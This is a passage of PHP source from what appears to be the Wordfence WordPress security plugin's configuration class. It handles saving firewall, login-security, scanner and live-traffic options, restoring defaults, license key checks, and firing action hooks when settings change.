							$paramKey = @base64_decode($entry['paramKey']);
							if (!$path || !$paramKey) {
								continue;
							}
							$data = array(
								'timestamp'   => (int) $entry['data']['timestamp'],
								'description' => $entry['data']['description'],
								'ip'          => wfUtils::getIP(),
								'disabled'    => !!$entry['data']['disabled'],
							);
							if (function_exists('get_current_user_id')) {
								$data['userID'] = get_current_user_id();
							}
							$waf->whitelistRuleForParam($path, $paramKey, 'all', $data);
							
							$adding[] = array_merge(array('rule' => 'all', 'path' => $path, 'paramKey' => $paramKey), $data);
						}
					}
					
					if (!empty($toggling)) {
						/**
						 * Fires when WAF allow entries are manually enabled/disabled.
						 *
						 * @since 8.0.0
						 *
						 * @param array $toggling {
						 * 		An array containing the entries that were enabled/disabled.
						 *
						 * 		@type string|array $rule The rule(s) that the entry applies to. May be `all` or rule number(s)
						 * 		@type int $timestamp The timestamp when the entry was created.
						 * 		@type string $description The description of the entry.
						 * 		@type string $ip The IP address that caused the entry to be created.
						 * 		@type bool $disabled Whether or not the entry is disabled.
						 * 		@type int $userID (optional) The user ID that created the entry if applicable.
						 *		@type string $path The URL path the entry applies to.
						 * 		@type string $paramKey The parameter key the entry applies to. 
						 * }
						 */
						do_action('wordfence_waf_toggled_allow_entry', $toggling);
					}
					
					if (!empty($deleting)) {
						/**
						 * Fires when WAF allow entries are manually deleted.
						 *
						 * @since 8.0.0
						 * 
						 * @see wfConfig.php::wordfence_waf_toggled_allow_entry for the payload structure
						 */
						do_action('wordfence_waf_deleted_allow_entry', $deleting);
					}
					
					if (!empty($adding)) {
						/**
						 * Fires when WAF allow entries are manually added.
						 *
						 * @since 8.0.0
						 *
						 * @see wfConfig.php::wordfence_waf_toggled_allow_entry for the payload structure
						 */
						do_action('wordfence_waf_created_allow_entry', $adding);
					}
					
					$saved = true;
					break;
				}
				case 'disableWAFBlacklistBlocking':
				{
					$before = $wafConfig->getConfig($key);
					$wafConfig->setConfig($key, wfUtils::truthyToInt($value));
					if (method_exists(wfWAF::getInstance()->getStorageEngine(), 'purgeIPBlocks')) {
						wfWAF::getInstance()->getStorageEngine()->purgeIPBlocks(wfWAFStorageInterface::IP_BLOCKS_BLACKLIST);
					}
					if ($value) {
						$cron = wfWAF::getInstance()->getStorageEngine()->getConfig('cron', array(), 'livewaf');
						if (!is_array($cron)) {
							$cron = array();
						}
						foreach ($cron as $cronKey => $cronJob) {
							if ($cronJob instanceof wfWAFCronFetchBlacklistPrefixesEvent) {
								unset($cron[$cronKey]);
							}
						}
						$cron[] = new wfWAFCronFetchBlacklistPrefixesEvent(time() - 1);
						wfWAF::getInstance()->getStorageEngine()->setConfig('cron', $cron, 'livewaf');
					}
					
					if (wfUtils::truthyToBoolean($before) != wfUtils::truthyToBoolean($value)) {
						/**
						 * Fires when the WAF mode changes.
						 *
						 * @param string $before The previous mode.
						 * @param string $after The new mode. True means enabled, false means disabled.
						 * @since 8.0.0
						 *
						 */
						do_action('wordfence_waf_toggled_blocklist', !wfUtils::truthyToBoolean($before), !wfUtils::truthyToBoolean($value));
					}

					$saved = true;
					break;
				}
				case 'avoid_php_input':
				{
					$wafConfig->setConfig($key, wfUtils::truthyToInt($value));
					$saved = true;
					break;
				}
				
				//============ Plugin (specialty treatment)
				case 'alertEmails':
				{
					$emails = !is_string($value) ? '' : $value;
					$emails = explode(',', preg_replace('/[\r\n\s\t]+/', '', $emails));
					$emails = array_filter($emails); //Already validated above
					if (count($emails) > 0) {
						wfConfig::set($key, implode(',', $emails));
					}
					else {
						wfConfig::set($key, '');
					}
					
					$saved = true;
					break;
				}
				case 'loginSec_userBlacklist':
				case 'scan_exclude':
				case 'email_summary_excluded_directories':
				{
					if (is_array($value)) {
						$value = implode("\n", $value);
					}
					
					wfConfig::set($key, wfUtils::cleanupOneEntryPerLine($value));
					$saved = true;
					break;
				}
				case 'whitelisted':
				{
					$whiteIPs = !is_string($value) ? '' : $value;
					$whiteIPs = explode(',', preg_replace('/[\r\n\s\t]+/', ',', $whiteIPs));
					$whiteIPs = array_filter($whiteIPs); //Already validated above
					if (count($whiteIPs) > 0) {
						wfConfig::set($key, implode(',', $whiteIPs));
					}
					else {
						wfConfig::set($key, '');
					}
					
					if (method_exists(wfWAF::getInstance()->getStorageEngine(), 'purgeIPBlocks')) {
						wfWAF::getInstance()->getStorageEngine()->purgeIPBlocks(wfWAFStorageInterface::IP_BLOCKS_BLACKLIST);
					}
					
					$saved = true;
					break;
				}
				case 'whitelistedServices':
				{
					if (is_string($value)) { //Already JSON (import/export settings)
						wfConfig::set($key, $value);
					}
					else {
						wfConfig::setJSON($key, (array) $value);
					}
					
					$wafConfig->setConfig('whitelistedServiceIPs', @json_encode(wfUtils::whitelistedServiceIPs()), 'synced');
					
					if (method_exists(wfWAF::getInstance()->getStorageEngine(), 'purgeIPBlocks')) {
						wfWAF::getInstance()->getStorageEngine()->purgeIPBlocks(wfWAFStorageInterface::IP_BLOCKS_BLACKLIST);
					}
					
					$saved = true;
					break;
				}
				case 'liveTraf_ignoreUsers':
				{
					$dirtyUsers = !is_string($value) ? '' : $value;
					$dirtyUsers = explode(',', $dirtyUsers);
					$validUsers = array();
					foreach ($dirtyUsers as $val) {
						$val = trim($val);
						if (strlen($val) > 0) {
							$validUsers[] = $val; //Already validated above
						}
					}
					if (count($validUsers) > 0) {
						wfConfig::set($key, implode(',', $validUsers));
					}
					else {
						wfConfig::set($key, '');
					}
					
					$saved = true;
					break;
				}
				case 'liveTraf_ignoreIPs':
				{
					$validIPs = !is_string($value) ? '' : $value;
					$validIPs = explode(',', preg_replace('/[\r\n\s\t]+/', '', $validIPs));
					$validIPs = array_filter($validIPs); //Already validated above
					if (count($validIPs) > 0) {
						wfConfig::set($key, implode(',', $validIPs));
					}
					else {
						wfConfig::set($key, '');
					}
					
					$saved = true;
					break;
				}
				case 'liveTraf_ignoreUA':
				{
					$value = !is_string($value) ? '' : $value;
					if (preg_match('/[a-zA-Z0-9\d]+/', $value)) {
						wfConfig::set($key, trim($value));
					}
					else {
						wfConfig::set($key, '');
					}
					$saved = true;
					break;
				}
				case 'howGetIPs_trusted_proxies':
				{
					$validIPs = !is_string($value) ? '' : $value;
					$validIPs = preg_split('/[\r\n,]+/', $validIPs);
					$validIPs = array_filter($validIPs); //Already validated above
					if (count($validIPs) > 0) {
						wfConfig::set($key, implode("\n", $validIPs));
					}
					else {
						wfConfig::set($key, '');
					}
					
					$saved = true;
					break;
				}
				case 'other_WFNet':
				{
					$value = wfUtils::truthyToBoolean($value);
					wfConfig::set($key, $value);
					if (!$value) {
						wfBlock::removeTemporaryWFSNBlocks();
					}
					$saved = true;
					break;
				}
				case 'howGetIPs':
				{
					wfConfig::set($key, $value);
					wfConfig::set('detectProxyNextCheck', false, wfConfig::DONT_AUTOLOAD);
					$saved = true;
					break;
				}
				case 'bannedURLs':
				{
					$bannedURLs = !is_string($value) ? '' : $value;
					wfConfig::set($key, preg_replace('/[\n\r]+/', ',', $bannedURLs));
					$saved = true;
					break;
				}
				case 'autoUpdate':
				{
					if (wfUtils::truthyToBoolean($value)) {
						wfConfig::enableAutoUpdate(); //Also sets the option
					}
					else {
						wfConfig::disableAutoUpdate();
					}
					$saved = true;
					break;
				}
				case 'disableCodeExecutionUploads':
				{
					$value = wfUtils::truthyToBoolean($value);
					wfConfig::set($key, $value);
					if ($value) {
						wfConfig::disableCodeExecutionForUploads(); //Can throw wfConfigException
					}
					else {
						wfConfig::removeCodeExecutionProtectionForUploads();
					}
					$saved = true;
					break;
				}
				case 'email_summary_interval':
				{
					wfConfig::set($key, $value);
					wfActivityReport::scheduleCronJob();
					$saved = true;
					break;
				}
				case 'email_summary_enabled':
				{
					$value = wfUtils::truthyToBoolean($value);
					wfConfig::set($key, $value);
					if ($value) {
						wfActivityReport::scheduleCronJob();
					}
					else {
						wfActivityReport::disableCronJob();
					}
					$saved = true;
					break;
				}
				case 'other_hideWPVersion':
				{
					$value = wfUtils::truthyToBoolean($value);
					wfConfig::set($key, $value);
					if ($value) {
						wfUtils::hideReadme();
					}
					else {
						wfUtils::showReadme();
					}
					$saved = true;
					break;
				}
				case 'liveTraf_maxAge':
				{
					$value = max(1, $value);
					break;
				}
				
				//Scan scheduling
				case 'scanSched':
				case 'schedStartHour':
				case 'manualScanType':
				case 'schedMode':
				case 'scheduledScansEnabled':
				{
					wfScanner::setNeedsRescheduling();
					//Letting these fall through to the default save handler
					break;
				}
			}
			
			//============ Plugin (default treatment)
			if (!$saved) {
				if (isset(self::$defaultConfig['checkboxes'][$key]) ||
					(isset(self::$defaultConfig['otherParams'][$key]) && self::$defaultConfig['otherParams'][$key]['validation']['type'] == self::TYPE_BOOL) ||
					(isset(self::$defaultConfig['defaultsOnly'][$key]) && self::$defaultConfig['defaultsOnly'][$key]['validation']['type'] == self::TYPE_BOOL)) { //Boolean
					wfConfig::set($key, wfUtils::truthyToInt($value));
				}
				else if ((isset(self::$defaultConfig['otherParams'][$key]) && self::$defaultConfig['otherParams'][$key]['validation']['type'] == self::TYPE_INT) ||
						 (isset(self::$defaultConfig['defaultsOnly'][$key]) && self::$defaultConfig['defaultsOnly'][$key]['validation']['type'] == self::TYPE_INT)) {
					wfConfig::set($key, (int) $value);
				}
				else if ((isset(self::$defaultConfig['otherParams'][$key]) && (self::$defaultConfig['otherParams'][$key]['validation']['type'] == self::TYPE_FLOAT || self::$defaultConfig['otherParams'][$key]['validation']['type'] == self::TYPE_DOUBLE)) ||
						 (isset(self::$defaultConfig['defaultsOnly'][$key]) && (self::$defaultConfig['defaultsOnly'][$key]['validation']['type'] == self::TYPE_FLOAT || self::$defaultConfig['defaultsOnly'][$key]['validation']['type'] == self::TYPE_DOUBLE))) {
					wfConfig::set($key, (double) $value);
				}
				else if ((isset(self::$defaultConfig['otherParams'][$key]) && self::$defaultConfig['otherParams'][$key]['validation']['type'] == self::TYPE_STRING) ||
						 (isset(self::$defaultConfig['defaultsOnly'][$key]) && self::$defaultConfig['defaultsOnly'][$key]['validation']['type'] == self::TYPE_STRING)) {
					wfConfig::set($key, (string) $value);
				}
				else if (in_array($key, self::$serializedOptions)) {
					wfConfig::set_ser($key, $value);
				}
				else if (in_array($key, self::$wfCentralInternalConfig)) {
					wfConfig::set($key, $value);
				}
				else if (WFWAF_DEBUG) {
					error_log("*** DEBUG: Config option '{$key}' missing save handler.");
				}
			}
		}
	
		if ($apiKey !== false) {
			$existingAPIKey = wfConfig::get('apiKey', '');
			$apiKey = strtolower(trim($apiKey)); //Already validated above
			$ping = false;
			if (empty($apiKey)) { //Empty, try getting a free key
				$api = new wfAPI('', wfUtils::getWPVersion());
				try {
					$keyData = $api->call('get_anon_api_key');
					if ($keyData['ok'] && $keyData['apiKey']) {
						wfConfig::set('apiKey', $keyData['apiKey']);
						wfConfig::set('isPaid', false);
						wfConfig::set('keyType', wfLicense::KEY_TYPE_FREE);
						wordfence::licenseStatusChanged();
						wfConfig::set('touppPromptNeeded', true);
					}
					else {
						throw new Exception(__("The Wordfence server's response did not contain the expected elements.", 'wordfence'));
					}
				}
				catch (Exception $e) {
					throw new wfConfigException(__('Your options have been saved, but you left your license key blank, so we tried to get you a free license key from the Wordfence servers. There was a problem fetching the free key: ', 'wordfence') . wp_kses($e->getMessage(), array()));
				}
			}
			else if ($existingAPIKey != $apiKey) { //Key changed, try activating
				$api = new wfAPI($apiKey, wfUtils::getWPVersion());
				try {
					$res = $api->call('check_api_key', array(), array('previousLicense' => $existingAPIKey));
					if ($res['ok'] && isset($res['isPaid'])) {
						$isPaid = wfUtils::truthyToBoolean($res['isPaid']);
						wfConfig::set('apiKey', $apiKey);
						wfConfig::set('isPaid', $isPaid); //res['isPaid'] is boolean coming back as JSON and turned back into PHP struct. Assuming JSON to PHP handles bools.
						wordfence::licenseStatusChanged();
						if (!$isPaid) {
							wfConfig::set('keyType', wfLicense::KEY_TYPE_FREE);
						}
						$ping = true;
					}
					else {
						throw new Exception(__("The Wordfence server's response did not contain the expected elements.", 'wordfence'));
					}
				}
				catch (Exception $e) {
					throw new wfConfigException(__('Your options have been saved. However we noticed you changed your license key, and we tried to verify it with the Wordfence servers but received an error: ', 'wordfence') . wp_kses($e->getMessage(), array()));
				}
			}
			else { //Key unchanged, just ping it
				$ping = true;
			}
			
			if ($ping) {
				$api = new wfAPI($apiKey, wfUtils::getWPVersion());
				try {
					$keyType = wfLicense::KEY_TYPE_FREE;
					$keyData = $api->call('ping_api_key', array(), array('supportHash' => wfConfig::get('supportHash', ''), 'whitelistHash' => wfConfig::get('whitelistHash', ''), 'tldlistHash' => wfConfig::get('tldlistHash', ''), 'ipResolutionListHash' => wfConfig::get('ipResolutionListHash', '')));
					if (isset($keyData['_isPaidKey'])) {
						$keyType = wfConfig::get('keyType');
					}
					if (isset($keyData['dashboard'])) {
						wfConfig::set('lastDashboardCheck', time());
						wfDashboard::processDashboardResponse($keyData['dashboard']);
					}
					if (isset($keyData['support']) && isset($keyData['supportHash'])) {
						wfConfig::set('supportContent', $keyData['support'], wfConfig::DONT_AUTOLOAD);
						wfConfig::set('supportHash', $keyData['supportHash']);
					}
					if (isset($keyData['_whitelist']) && isset($keyData['_whitelistHash'])) {
						wfConfig::setJSON('whitelistPresets', $keyData['_whitelist']);
						wfConfig::set('whitelistHash', $keyData['_whitelistHash']);
					}
					if (isset($keyData['_tldlist']) && isset($keyData['_tldlistHash'])) {
						wfConfig::set('tldlist', $keyData['_tldlist'], wfConfig::DONT_AUTOLOAD);
						wfConfig::set('tldlistHash', $keyData['_tldlistHash']);
					}
					if (isset($keyData['_ipResolutionList']) && isset($keyData['_ipResolutionListHash'])) {
						wfConfig::setJSON('ipResolutionList', $keyData['_ipResolutionList']);
						wfConfig::set('ipResolutionListHash', $keyData['_ipResolutionListHash']);
					}
					if (isset($keyData['scanSchedule']) && is_array($keyData['scanSchedule'])) {
						wfConfig::set_ser('noc1ScanSchedule', $keyData['scanSchedule']);
						if (wfScanner::shared()->schedulingMode() == wfScanner::SCAN_SCHEDULING_MODE_AUTOMATIC) {
							wfScanner::shared()->scheduleScans();
						}
					}
					if (isset($keyData['showWfCentralUI'])) {
						wfConfig::set('showWfCentralUI', (int) $keyData['showWfCentralUI']);
					}

					wfConfig::set('keyType', $keyType);
				}
				catch (Exception $e){
					throw new wfConfigException(__('Your options have been saved. However we tried to verify your license key with the Wordfence servers and received an error: ', 'wordfence') . wp_kses($e->getMessage(), array()));
				}
			}
		}
		
		wfNotification::reconcileNotificationsWithOptions();
		wfCentral::requestConfigurationSync();
	}
	
	public static function restoreDefaults($section) {
		switch ($section) {
			case self::OPTIONS_TYPE_GLOBAL:
				$options = array(
					'alertOn_critical',
					'alertOn_update',
					'alertOn_warnings',
					'alertOn_throttle',
					'alertOn_block',
					'alertOn_loginLockout',
					'alertOn_breachLogin',
					'alertOn_lostPasswdForm',
					'alertOn_adminLogin',
					'alertOn_firstAdminLoginOnly',
					'alertOn_nonAdminLogin',
					'alertOn_firstNonAdminLoginOnly',
					'alertOn_wordfenceDeactivated',
					'liveActivityPauseEnabled',
					'notification_updatesNeeded',
					'notification_securityAlerts',
					'notification_promotions',
					'notification_blogHighlights',
					'notification_productUpdates',
					'notification_scanStatus',
					'enableRemoteIpLookup',
					'other_hideWPVersion',
					'other_bypassLitespeedNoabort',
					'deleteTablesOnDeact',
					'autoUpdate',
					'disableCodeExecutionUploads',
					'email_summary_enabled',
					'email_summary_dashboard_widget_enabled',
					'howGetIPs',
					'actUpdateInterval',
					'alert_maxHourly',
					'email_summary_interval',
					'email_summary_excluded_directories',
					'howGetIPs_trusted_proxies',
					'howGetIPs_trusted_proxy_preset',
					'displayTopLevelOptions',
				);
				break;
			case self::OPTIONS_TYPE_FIREWALL:
				$options = array(
					'firewallEnabled',
					'autoBlockScanners',
					'loginSecurityEnabled',
					'loginSec_strongPasswds_enabled',
					'loginSec_breachPasswds_enabled',
					'loginSec_lockInvalidUsers',
					'loginSec_maskLoginErrors',
					'loginSec_blockAdminReg',
					'loginSec_disableAuthorScan',
					'loginSec_disableOEmbedAuthor',
					'other_blockBadPOST',
					'other_pwStrengthOnUpdate',
					'other_WFNet',
					'ajaxWatcherDisabled_front',
					'ajaxWatcherDisabled_admin',
					'wafAlertOnAttacks',
					'disableWAFIPBlocking',
					'whitelisted',
					'whitelistedServices',
					'bannedURLs',
					'loginSec_userBlacklist',
					'neverBlockBG',
					'loginSec_countFailMins',
					'loginSec_lockoutMins',
					'loginSec_strongPasswds',
					'loginSec_breachPasswds',
					'loginSec_maxFailures',
					'loginSec_maxForgotPasswd',
					'maxGlobalRequests',
					'maxGlobalRequests_action',
					'maxRequestsCrawlers',
					'maxRequestsCrawlers_action',
					'maxRequestsHumans',
					'maxRequestsHumans_action',
					'max404Crawlers',
					'max404Crawlers_action',
					'max404Humans',
					'max404Humans_action',
					'blockedTime',
					'allowed404s',
					'wafAlertWhitelist',
					'wafAlertInterval',
					'wafAlertThreshold',
					'dismissAutoPrependNotice',
				);
				break;
			case self::OPTIONS_TYPE_BLOCKING:
				$options = array(
					'displayTopLevelBlocking',
					'cbl_loggedInBlocked',
					'cbl_action',
					'cbl_redirURL',
					'cbl_bypassRedirURL',
					'cbl_bypassRedirDest',
					'cbl_bypassViewURL',
				);
				break;
			case self::OPTIONS_TYPE_SCANNER:
				$options = array(
					'checkSpamIP',
					'spamvertizeCheck',
					'scheduledScansEnabled',
					'lowResourceScansEnabled',
					'scansEnabled_checkGSB',
					'scansEnabled_checkHowGetIPs',
					'scansEnabled_core',
					'scansEnabled_themes',
					'scansEnabled_plugins',
					'scansEnabled_coreUnknown',
					'scansEnabled_malware',
					'scansEnabled_fileContents',
					'scansEnabled_fileContentsGSB',
					'scansEnabled_checkReadableConfig',
					'scansEnabled_suspectedFiles',
					'scansEnabled_posts',
					'scansEnabled_comments',
					'scansEnabled_suspiciousOptions',
					'scansEnabled_passwds',
					'scansEnabled_diskSpace',
					'scansEnabled_wafStatus',
					'scansEnabled_options',
					'scansEnabled_wpscan_fullPathDisclosure',
					'scansEnabled_wpscan_directoryListingEnabled',
					'scansEnabled_scanImages',
					'scansEnabled_highSense',
					'scansEnabled_oldVersions',
					'scansEnabled_suspiciousAdminUsers',
					'scan_include_extra',
					'maxMem',
					'scan_exclude',
					'scan_maxIssues',
					'scan_maxDuration',
					'maxExecutionTime',
					'scanType',
					'manualScanType',
					'schedMode',
				);
				break;
			case self::OPTIONS_TYPE_TWO_FACTOR:
				$options = array(
					'loginSec_requireAdminTwoFactor',
					'loginSec_enableSeparateTwoFactor',
				);
				break;
			case self::OPTIONS_TYPE_LIVE_TRAFFIC:
				$options = array(
					'liveTrafficEnabled',
					'liveTraf_ignorePublishers',
					'liveTraf_displayExpandedRecords',
					'liveTraf_ignoreUsers',
					'liveTraf_ignoreIPs',
					'liveTraf_ignoreUA',
					'liveTraf_maxRows',
					'liveTraf_maxAge',
					'displayTopLevelLiveTraffic',
				);
				break;
			case self::OPTIONS_TYPE_AUDIT_LOG:
				$options = array(
					'auditLogMode',
					'displayTopLevelAuditLog',
				);
				break;
			case self::OPTIONS_TYPE_DIAGNOSTICS:
				$options = array(
					'debugOn',
					'startScansRemotely',
					'ssl_verify',
					'wordfenceI18n',
				);
				break;
			case self::OPTIONS_TYPE_ALL:
				$options = array(
					'alertOn_critical',
					'alertOn_update',
					'alertOn_warnings',
					'alertOn_throttle',
					'alertOn_block',
					'alertOn_loginLockout',
					'alertOn_breachLogin',
					'alertOn_lostPasswdForm',
					'alertOn_adminLogin',
					'alertOn_firstAdminLoginOnly',
					'alertOn_nonAdminLogin',
					'alertOn_firstNonAdminLoginOnly',
					'alertOn_wordfenceDeactivated',
					'liveActivityPauseEnabled',
					'notification_updatesNeeded',
					'notification_securityAlerts',
					'notification_promotions',
					'notification_blogHighlights',
					'notification_productUpdates',
					'notification_scanStatus',
					'other_hideWPVersion',
					'other_bypassLitespeedNoabort',
					'deleteTablesOnDeact',
					'autoUpdate',
					'disableCodeExecutionUploads',
					'email_summary_enabled',
					'email_summary_dashboard_widget_enabled',
					'howGetIPs',
					'actUpdateInterval',
					'alert_maxHourly',
					'email_summary_interval',
					'email_summary_excluded_directories',
					'howGetIPs_trusted_proxies',
					'howGetIPs_trusted_proxy_preset',
					'firewallEnabled',
					'autoBlockScanners',
					'loginSecurityEnabled',
					'loginSec_strongPasswds_enabled',
					'loginSec_breachPasswds_enabled',
					'loginSec_lockInvalidUsers',
					'loginSec_maskLoginErrors',
					'loginSec_blockAdminReg',
					'loginSec_disableAuthorScan',
					'loginSec_disableOEmbedAuthor',
					'other_blockBadPOST',
					'other_pwStrengthOnUpdate',
					'other_WFNet',
					'ajaxWatcherDisabled_front',
					'ajaxWatcherDisabled_admin',
					'wafAlertOnAttacks',
					'disableWAFIPBlocking',
					'whitelisted',
					'whitelistedServices',
					'bannedURLs',
					'loginSec_userBlacklist',
					'neverBlockBG',
					'loginSec_countFailMins',
					'loginSec_lockoutMins',
					'loginSec_strongPasswds',
					'loginSec_breachPasswds',
					'loginSec_maxFailures',
					'loginSec_maxForgotPasswd',
					'maxGlobalRequests',
					'maxGlobalRequests_action',
					'maxRequestsCrawlers',
					'maxRequestsCrawlers_action',
					'maxRequestsHumans',
					'maxRequestsHumans_action',
					'max404Crawlers',
					'max404Crawlers_action',
					'max404Humans',
					'max404Humans_action',
					'blockedTime',
					'allowed404s',
					'wafAlertWhitelist',
					'wafAlertInterval',
					'wafAlertThreshold',
					'dismissAutoPrependNotice',
					'displayTopLevelBlocking',
					'cbl_loggedInBlocked',
					'cbl_action',
					'cbl_redirURL',
					'cbl_bypassRedirURL',
					'cbl_bypassRedirDest',
					'cbl_bypassViewURL',
					'checkSpamIP',
					'spamvertizeCheck',
					'scheduledScansEnabled',
					'lowResourceScansEnabled',
					'scansEnabled_checkGSB',
					'scansEnabled_checkHowGetIPs',
					'scansEnabled_core',
					'scansEnabled_themes',
					'scansEnabled_plugins',
					'scansEnabled_coreUnknown',
					'scansEnabled_malware',
					'scansEnabled_fileContents',
					'scansEnabled_fileContentsGSB',
					'scansEnabled_checkReadableConfig',
					'scansEnabled_suspectedFiles',
					'scansEnabled_posts',
					'scansEnabled_comments',
					'scansEnabled_suspiciousOptions',
					'scansEnabled_passwds',
					'scansEnabled_diskSpace',
					'scansEnabled_wafStatus',
					'scansEnabled_options',
					'scansEnabled_wpscan_fullPathDisclosure',
					'scansEnabled_wpscan_directoryListingEnabled',
					'scansEnabled_scanImages',
					'scansEnabled_highSense',
					'scansEnabled_oldVersions',
					'scansEnabled_suspiciousAdminUsers',
					'scan_include_extra',
					'maxMem',
					'scan_exclude',
					'scan_maxIssues',
					'scan_maxDuration',
					'maxExecutionTime',
					'scanType',
					'manualScanType',
					'schedMode',
					'loginSec_requireAdminTwoFactor',
					'loginSec_enableSeparateTwoFactor',
					'liveTrafficEnabled',
					'liveTraf_ignorePublishers',
					'liveTraf_displayExpandedRecords',
					'liveTraf_ignoreUsers',
					'liveTraf_ignoreIPs',
					'liveTraf_ignoreUA',
					'liveTraf_maxRows',
					'liveTraf_maxAge',
					'displayTopLevelLiveTraffic',
					'other_scanComments',
					'advancedCommentScanning',
				);
				break;
		}
		
		if (isset($options)) {
			$changes = array();
			foreach ($options as $key) {
				if (isset(self::$defaultConfig['checkboxes'][$key])) {
					$changes[$key] = self::$defaultConfig['checkboxes'][$key]['value'];
				}
				else if (isset(self::$defaultConfig['otherParams'][$key])) {
					$changes[$key] = self::$defaultConfig['otherParams'][$key]['value'];
				}
				else if (isset(self::$defaultConfig['defaultsOnly'][$key])) {
					$changes[$key] = self::$defaultConfig['defaultsOnly'][$key]['value'];
				}
			}
			
			try {
				self::save($changes);
				return true;
			}
			catch (Exception $e) {
				//Do nothing
			}
		}
		
		return false;
	}
	
	private static function _handleActionHooks($key, $newValue) {
		switch ($key) {
			case 'whitelisted':
			{
				$before = explode(',', wfConfig::get($key));
				
				/**
				 * Fires when the allowed IP list changes.
				 *
				 * @since 8.0.0
				 *
				 * @param string[] $before The previous IP list.
				 * @param string[] $after The new IP list.
				 */
				do_action('wordfence_updated_allowed_ips', $before, explode(',', $newValue));
				break;
			}
			case 'whitelistedServices':
			{
				$before = (array) wfConfig::getJSON($key, array());
				$after = json_decode($newValue, true);
				
				/**
				 * Fires when the allowed service list changes.
				 *
				 * @since 8.0.0
				 *
				 * @param string[] $before The previous service list.
				 * @param string[] $after The new service list.
				 */
				do_action('wordfence_updated_allowed_services', $before, $after);
				break;
			}
			case 'whitelistPresets':
			{
				$before = (array) wfConfig::getJSON($key, array());
				$after = json_decode($newValue, true);
				
				/**
				 * Fires when the allowed service list definitions changes.
				 *
				 * @since 8.0.0
				 *
				 * @param array $before The previous service list definitions.
				 * @param array $after The new service list definitions.
				 */
				do_action('wordfence_updated_allowed_services_definitions', $before, $after);
				break;
			}
			case 'bannedURLs':
			{
				$before = array_filter(explode("\n", wfUtils::cleanupOneEntryPerLine(wfConfig::get($key))));
				$after = array_filter(explode("\n", wfUtils::cleanupOneEntryPerLine($newValue)));
				
				/**
				 * Fires when the banned URLs list changes.
				 *
				 * @since 8.0.0
				 *
				 * @param string[] $before The previous list.
				 * @param string[] $after The new list.
				 */
				do_action('wordfence_updated_banned_urls', $before, $after);
				break;
			}
			case 'wafAlertWhitelist':
			{
				$before = array_filter(explode("\n", wfUtils::cleanupOneEntryPerLine(wfConfig::get($key))));
				$after = array_filter(explode("\n", wfUtils::cleanupOneEntryPerLine($newValue)));
				
				/**
				 * Fires when the WAF alerting ignored IP list changes.
				 *
				 * @since 8.0.0
				 *
				 * @param string[] $before The previous list.
				 * @param string[] $after The new list.
				 */
				do_action('wordfence_updated_ignored_alert_ips', $before, $after);
				break;
			}
			case 'loginSecurityEnabled':
			{
				$before = wfUtils::truthyToBoolean(wfConfig::get($key));
				$after = wfUtils::truthyToBoolean($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when brute force protection is enabled/disabled.
					 *
					 * @param bool $before The previous status.
					 * @param bool $after The new status.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_toggled_brute_force_protection', $before, $after);
				}
				break;
			}
			case 'loginSec_maxFailures':
			{
				$before = intval(wfConfig::get($key));
				$after = intval($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the login failure count threshold changes.
					 *
					 * @param int $before The previous count.
					 * @param int $after The new count.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_updated_login_failure_count', $before, $after);
				}
				break;
			}
			case 'loginSec_maxForgotPasswd':
			{
				$before = intval(wfConfig::get($key));
				$after = intval($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the forgot password count threshold changes.
					 *
					 * @param int $before The previous count.
					 * @param int $after The new count.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_updated_forgot_password_count', $before, $after);
				}
				break;
			}
			case 'loginSec_countFailMins':
			{
				$before = intval(wfConfig::get($key));
				$after = intval($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the count failures over time period value changes.
					 *
					 * @param int $before The previous minutes.
					 * @param int $after The new minutes.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_updated_login_security_period', $before, $after);
				}
				break;
			}
			case 'loginSec_lockoutMins':
			{
				$before = intval(wfConfig::get($key));
				$after = intval($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the duration for lockout changed.
					 *
					 * @param int $before The previous minutes.
					 * @param int $after The new minutes.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_updated_login_security_duration', $before, $after);
				}
				break;
			}
			case 'loginSec_lockInvalidUsers':
			{
				$before = wfUtils::truthyToBoolean(wfConfig::get($key));
				$after = wfUtils::truthyToBoolean($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the immediately lock out invalid usernames setting is enabled/disabled.
					 *
					 * @param bool $before The previous status.
					 * @param bool $after The new status.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_toggled_lock_out_invalid', $before, $after);
				}
				break;
			}
			case 'loginSec_userBlacklist':
			{
				$before = array_filter(explode("\n", wfUtils::cleanupOneEntryPerLine(wfConfig::get($key))));
				$after = array_filter(explode("\n", wfUtils::cleanupOneEntryPerLine($newValue)));
				
				/**
				 * Fires when the banned username list changes.
				 *
				 * @since 8.0.0
				 *
				 * @param string[] $before The previous user list.
				 * @param string[] $after The new user list.
				 */
				do_action('wordfence_updated_banned_usernames', $before, $after);
				break;
			}
			case 'loginSec_breachPasswds_enabled':
			{
				$before = wfUtils::truthyToBoolean(wfConfig::get($key));
				$after = wfUtils::truthyToBoolean($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the breached password protection setting is enabled/disabled.
					 *
					 * @param bool $before The previous status.
					 * @param bool $after The new status.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_toggled_breached_password_protection', $before, $after);
				}
				break;
			}
			case 'loginSec_strongPasswds_enabled':
			{
				$before = wfUtils::truthyToBoolean(wfConfig::get($key));
				$after = wfUtils::truthyToBoolean($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the enforce strong passwords setting is enabled/disabled.
					 *
					 * @param bool $before The previous status.
					 * @param bool $after The new status.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_toggled_enforce_strong_passwords', $before, $after);
				}
				break;
			}
			case 'loginSec_maskLoginErrors':
			{
				$before = wfUtils::truthyToBoolean(wfConfig::get($key));
				$after = wfUtils::truthyToBoolean($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the mask login errors setting is enabled/disabled.
					 *
					 * @param bool $before The previous status.
					 * @param bool $after The new status.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_toggled_mask_login_errors', $before, $after);
				}
				break;
			}
			case 'loginSec_blockAdminReg':
			{
				$before = wfUtils::truthyToBoolean(wfConfig::get($key));
